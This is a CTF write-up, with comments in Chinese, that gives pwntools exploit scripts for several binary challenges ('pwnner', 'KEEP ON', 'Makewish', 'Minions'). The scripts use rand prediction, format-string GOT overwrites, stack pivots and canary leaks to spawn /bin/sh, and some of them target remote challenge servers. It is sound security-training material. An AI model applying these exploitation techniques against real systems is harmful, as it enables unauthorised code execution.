[TOC]
PWN
pwnner
- rand伪随机数
- ret2text
from pwn import *
from ctypes import *
io = process("./pwnner")
io = remote("node5.anna.nssctf.cn", 28272)
elf = ELF("./pwnner")
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
io.sendafter(b"name:\n", str(dll.rand()).encode())
print(dll.rand())
payload = b'A'*0x40 + b'deadbeef' + p64(0x4008B6)
io.sendafter(b'next?\n', payload)
io.interactive()
KEEP ON
- 格式化字符串漏洞
- 栈迁移
可以看到存在格式化字符串漏洞,且第二个read存在栈溢出,但是只能溢出到ret_addr,所以考虑栈迁移。且程序存在system函数,我们把/bin/sh写入栈上,然后调用system
利用思路1:
- 通过格式化字符串泄漏出rbp的值,然后计算出s-8的地址
- 然后栈迁移到s-8的位置
注意/bin/sh\x00要用\x00截断
exp:
from pwn import *
context.binary = './hdctf'
#context.log_level = 'debug'
io = process("./hdctf")
elf = ELF("./hdctf")
libc = elf.libc
pop_rdi = 0x00000000004008d3 #pop rdi ; ret
leave_ret = 0x00000000004007f2 #leave ; ret
payload = b'%16$p'
io.sendlineafter(b'name: \n', payload)
io.recvuntil(b'hello,')
rbp = int(io.recvuntil(b'\n', drop=True), 16)
print(hex(rbp))
target = rbp - 0x60 - 0x8
binsh = target + 0x20
payload = p64(pop_rdi) + p64(binsh) + p64(elf.plt['system']) + b'/bin/sh\x00'
payload = payload.ljust(0x50, b'A')
payload += p64(target) + p64(leave_ret)
io.sendafter(b'on !\n', payload)
io.interactive()
利用思路2:注意这里返回地址要返回到_start处,不然打不通,因为你如果直接返回到main函数的话,则没有进行一些初始化操作,可能导致偏移发生变化
- 利用格式化字符串把printf_got修改为system_plt
- 然后再返回vuln,输入/bin/sh\x00即可
from pwn import *
context.binary = './hdctf'
#context.log_level = 'debug'
#io = process("./hdctf")
io = remote("node4.anna.nssctf.cn", 28931)
elf = ELF("./hdctf")
libc = elf.libc
payload = fmtstr_payload(6, {elf.got['printf']:elf.plt['system']})
io.sendafter(b'name: \n', payload)
#要返回到_start函数哦!!!
payload = b'A'*0x58 + p64(elf.symbols['_start'])
io.sendafter(b'on !\n', payload)
io.sendafter(b'name: \n', b'/bin/sh\x00')
io.interactive()
Makewish
跟nkctf2023的baby_rop思路一样,只是这个题存在后门函数,所以不用自己泄漏libc了
- 利用第一个read覆盖canary的低字节为非0,然后puts(buf)就可以泄漏canary了
- rand伪随机数绕过就不说了
- vuln函数中存在off by null 漏洞,可以覆盖rbp的低字节为0
- 调用完vuln后有leave;ret指令,所以这里可以栈迁移,这里会迁移到rbp中的地址处(此时rbp中的地址低字节已经被覆盖为0了)
- 所以我们可以把buf里面写满system后门函数的地址,这样只要能够有一次迁移到buf里面就可以getshell了(看运气啦>_<)
exp:注意key用p32哦,因为v4是int,四字节哦
from pwn import *
from ctypes import *
#context.log_level = 'debug'
#io = process("./pwn")
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
key = dll.rand() % 1000 + 324
while True:
try:
io = process("./pwn")
#覆盖canary低字节为0,从而泄漏canary
io.sendafter(b"name\n\n", b'A'*0x29)
print(io.recvuntil(b'hello,\n'))
io.recv(0x29)
#print(io.recv())
canary = io.recv(7)
canary = u64(canary.ljust(8, b'\x00')) << 8
print("canary:", hex(canary))
io.sendafter(b"key\n\n", p32(key)) #p32 p32 不然远程打不通
#gdb.attach(io)
#pause()
#把buf填满system = 0x4004CB的地址
payload = p64(0x4007CB)*11 + p64(canary)
io.sendafter(b'me\n', payload)
io.interactive()
except Exception as e:
io.close()
break
Minions
与KEEP ON类似:
exp1:直接修改printf的got表项为system_plt
from pwn import *
context.binary = './minions1'
#context.log_level = 'debug'
io = process("./minions1")
#io = remote("node1.anna.nssctf.cn", 28259)
elf = ELF("./minions1")
libc = elf.libc
key = 0x00000000006010A0
ret_payload = b'A'*0x38 + p64(elf.symbols['_start'])
#修改key
payload = fmtstr_payload(6, {key:102})
io.sendafter(b'name?\n\n', payload)
io.sendafter(b'about you\n', ret_payload)
io.sendlineafter(b'Minions?\n', b'A')
#修改printf的got表项
payload = fmtstr_payload(6, {elf.got['printf']:elf.plt['system']})
io.sendafter(b'name?\n\n', payload)
io.sendafter(b'about you\n', ret_payload)
io.sendlineafter(b'Minions?\n', b'A')
#get shell
io.sendafter(b'name?\n\n', b'/bin/sh\x00')
io.interactive()
exp2:栈迁移,这里直接迁移到栈上,虽然可以迁移到bss段但是好像有点问题,exp3讲
注意:这里泄漏的栈地址是在vuln函数里面泄漏的,而我们读入的payload是在main的栈帧里面,所以不要算成了vuln里面的buf位置,所以这里自己得动手动调算一下偏移,你直接跟到vuln刚好结束,这时的栈帧就是main的栈帧
from pwn import *
context.binary = './minions1'
#context.log_level = 'debug'
#io = process("./minions1")
io = remote("node1.anna.nssctf.cn", 28236)
elf = ELF("./minions1")
libc = elf.libc
key = 0x00000000006010A0
ret_payload = b'A'*0x38 + p64(elf.symbols['_start'])
payload = fmtstr_payload(6, {key:102})
io.sendafter(b'name?\n\n', payload)
io.sendafter(b'about you\n', ret_payload)
io.sendlineafter(b'Minions?\n', b'/bin/sh\x00')
payload = b'A%32$p'
io.sendafter(b'name?\n\n', payload)
io.recvuntil(b'A')
stack = int(io.recvuntil(b'\n', drop=True), 16) - 0x30
print(hex(stack))
pop_rdi = 0x0000000000400893 # pop rdi ; ret
leave_ret = 0x0000000000400758 # leave ; ret
binsh = 0x00000000006010C0
payload = p64(pop_rdi) + p64(binsh) + p64(elf.plt['system'])
payload = payload.ljust(0x30, b'A')
payload += p64(stack-0x8) + p64(leave_ret)
io.sendafter(b'about you\n', payload)
io.sendlineafter(b'Minions?\n', b'/bin/sh\x00')
io.interactive()
exp3:官方预期解(暂时没搞懂,copy个exp吧)
from pwn import*
context(arch="amd64",log_level='debug')
p=process('./minions1')
key=0x6010A0
payload=fmtstr_payload(6, {key: 0x66})
p.send(payload)
p.recvuntil("welcome,tell me more about you")
leave_addr = 0x0000000000400758
bss_addr = 0x6010C0
#gdb.attach(p)
payload = cyclic(0x30)+p64(bss_addr)+p64(leave_addr)
p.send(payload)
#pause()
rdi_addr = 0x0000000000400893
system_addr = 0x400763
ret_addr=0x0000000000400581
p.recvuntil("That's great.Do you like Minions?")
read_addr = 0x4005E0
rsi_r15_addr = 0x0000000000400891
payload = b'/bin/sh\x00'+p64(rsi_r15_addr)+p64(0x6010e8)+p64(0)+p64(read_addr)
p.send(payload)
payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x601110)+p64(0x601110)+p64(read_addr)
p.send(payload)
for i in range(1,60):
payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x601110+0x28*i)+p64(0x601110+0x28*i)+p64(read_addr)
p.send(payload)
payload = p64(ret_addr)+p64(ret_addr)+p64(rdi_addr)+p64(0x6010c0)+p64(system_addr)
p.send(payload)
p.interactive()